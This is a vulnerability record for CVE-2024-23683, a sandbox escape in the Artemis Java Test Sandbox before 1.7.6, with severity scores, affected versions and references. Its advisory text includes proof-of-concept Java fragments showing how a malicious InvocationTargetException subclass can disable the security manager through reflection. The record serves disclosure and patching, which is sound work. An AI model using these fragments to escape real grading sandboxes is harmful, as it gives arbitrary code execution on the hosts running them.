{"id":"CVE-2024-23683","aliases":["CVE-2024-23683","GHSA-883x-6fch-6wjx"],"related":[],"kind":"vulnerability","state":"published","title":"Artemis Java Test Sandbox InvocationTargetException Subclass Escape","summary":"Artemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Artemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.","source":"cvelist"},{"lang":"en","text":"### Impact\nThis allows an attacker to create special subclasses of `InvocationTargetException` that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.\n\n### Patches\nUpdate to version `1.7.6` or later.\n\n### Workarounds\nForbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371\n\n### References\n_Are there any links users can visit to find out more?_\nNot that I know of.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/ls1intum/Ares/issues\n* Email us, see https://github.com/ls1intum/Ares/security/policy\n\n### Detailed description\nUsing generics, it is possible to throw checked exceptions without a `throws` clause:\n<details>\n<summary>ThrowWithoutThrowsHelper</summary>\n\n```java\npublic class ThrowWithoutThrowsHelper<X extends Throwable>\n{\n    private final X throwable;\n\n    private ThrowWithoutThrowsHelper(X throwable)\n    {\n        this.throwable = throwable;\n    }\n\n    private <R> R throwWithThrows() throws X\n    {\n        throw throwable;\n    }\n\n    public static <R> R throwWithoutThrows(Throwable throwable)\n    {\n        ThrowWithoutThrowsHelper<?> helper = new ThrowWithoutThrowsHelper<Throwable>(throwable);\n        @SuppressWarnings(\"unchecked\")\n        ThrowWithoutThrowsHelper<RuntimeException> helperCasted = (ThrowWithoutThrowsHelper<RuntimeException>) helper;\n        return helperCasted.throwWithThrows();\n    }\n}\n```\n</details>\n\nUsing this, it is possible for a malicious testee to throw an instance of a malicious subclass of `InvocationTargetException` (let's call it `EvilInvocationTargetException`).\n\nThis exception is catched by `org.junit.platform.commons.util.ReflectionUtils::invokeMethod`, which looks like this:\n<details>\n<summary>ReflectionUtils::invokeMethod</summary>\n\n```java\n    public static Object invokeMethod(Method method, Object target, Object... args) {\n        Preconditions.notNull(method, \"Method must not be null\");\n        Preconditions.condition((target != null || isStatic(method)),\n            () -> String.format(\"Cannot invoke non-static method [%s] on a null target.\", method.toGenericString()));\n\n        try {\n            return makeAccessible(method).invoke(target, args);\n        }\n        catch (Throwable t) {\n            throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));\n        }\n    }\n```\n</details>\n\nThis method calls `getUnderlyingCause` (of the same class), passing to it the catched, malicious exception as an argument.\n<details>\n<summary>ReflectionUtils::getUnderlyingCause</summary>\n\n```java\n    private static Throwable getUnderlyingCause(Throwable t) {\n        if (t instanceof InvocationTargetException) {\n            return getUnderlyingCause(((InvocationTargetException) t).getTargetException());\n        }\n        return t;\n    }\n```\n</details>\n\n`getUnderlyingCause` in turn checks if the passed exception is `instanceof InvocationTargetException`, and if so, calls `getTargetException` on it. `getTargetException` can be overridden by subclasses of `InvocationTargetException`, like the `EvilInvocationTargetException`.\nIf `EvilInvocationTargetException` is in a whitelisted package (for example `de.tum.in.test.api.security.notsealedsubpackage`), `getTargetException` will be called with the entire stack containing only whitelisted frames.\nThis allows the attacker to uninstall the `ArtemisSecurityManager` in `EvilInvocationTargetException::getTargetException`:\n<details>\n<summary>Uninstalling ArtemisSecurityManager</summary>\n\n```java\n\nSecurityManager secman = System.getSecurityManager();\nClass<?> aresSecmanClass = secman.getClass();\nField isPartlyDisabledF = aresSecmanClass.getDeclaredField(\"isPartlyDisabled\");\nisPartlyDisabledF.setAccessible(true);\nisPartlyDisabledF.set(secman, true);\nSystem.setSecurityManager(null);\n```\n</details>\n\nAfter uninstalling `ArtemisSecurityManager`, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Las versiones de Artemis Java Test Sandbox inferiores a 1.7.6 son vulnerables a un escape de la sandbox cuando un atacante crea una subclase especial de InvocationTargetException. Un atacante puede abusar de este problema para ejecutar Java arbitrario cuando una víctima ejecuta el código supuestamente aislado.","source":"nvd"}],"published":"2022-01-21T23:39:19.000Z","modified":"2026-11-08T13:59:59.706Z","severity":{"scorer":"CISA-ADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"CISA-ADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":8.2,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":8.2,"rating":"HIGH"}],"cwes":["CWE-653"],"affected":[{"ranges":[{"type":"maven","introduced":"0","fixed":"1.7.6","status":"affected"}],"package":"de.tum.in.ase:artemis-java-test-sandbox","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.7.6"}],"ecosystem":"Maven","package":"de.tum.in.ase:artemis-java-test-sandbox","purl":"pkg:maven/de.tum.in.ase/artemis-java-test-sandbox","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.7.6"}],"vendor":"ls1intum","product":"artemis_java_test_sandbox","cpe":"cpe:2.3:a:ls1intum:artemis_java_test_sandbox:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/ls1intum/Ares/security/advisories/GHSA-883x-6fch-6wjx","tags":["exploit","vendor-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371","tags":["issue-tracking","related","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ls1intum/Ares/commit/af4f28a56e2fe600d8750b3b415352a0a3217392","tags":["patch","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ls1intum/Ares/releases/tag/1.7.6","tags":["related","release-notes","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/advisories/GHSA-883x-6fch-6wjx","tags":["exploit","third-party-advisory","vendor-advisory","x-transferred"],"sources":["cvelist","nvd"]},{"url":"https://vulncheck.com/advisories/vc-advisory-GHSA-883x-6fch-6wjx","tags":["third-party-advisory","x-transferred"],"sources":["cvelist","nvd"]},{"url":"https://github.com/ls1intum/Ares","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-01-22T19:00:57.798Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-23683","url":"https://www.cve.org/CVERecord?id=CVE-2024-23683","licence":"CVE Terms of Use","modified":"2026-11-08T13:59:59.706Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-883x-6fch-6wjx","url":"https://github.com/advisories/GHSA-883x-6fch-6wjx","licence":"CC-BY-4.0","modified":"2026-07-08T06:53:11.805Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-23683","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23683","licence":"Public domain","modified":"2026-07-14T23:17:16.373Z"}],"updatedAt":"2026-11-25T22:58:36.245Z","epss":{"score":0.00387,"percentile":0.34908,"date":"2026-12-01T12:00:22.000Z"}}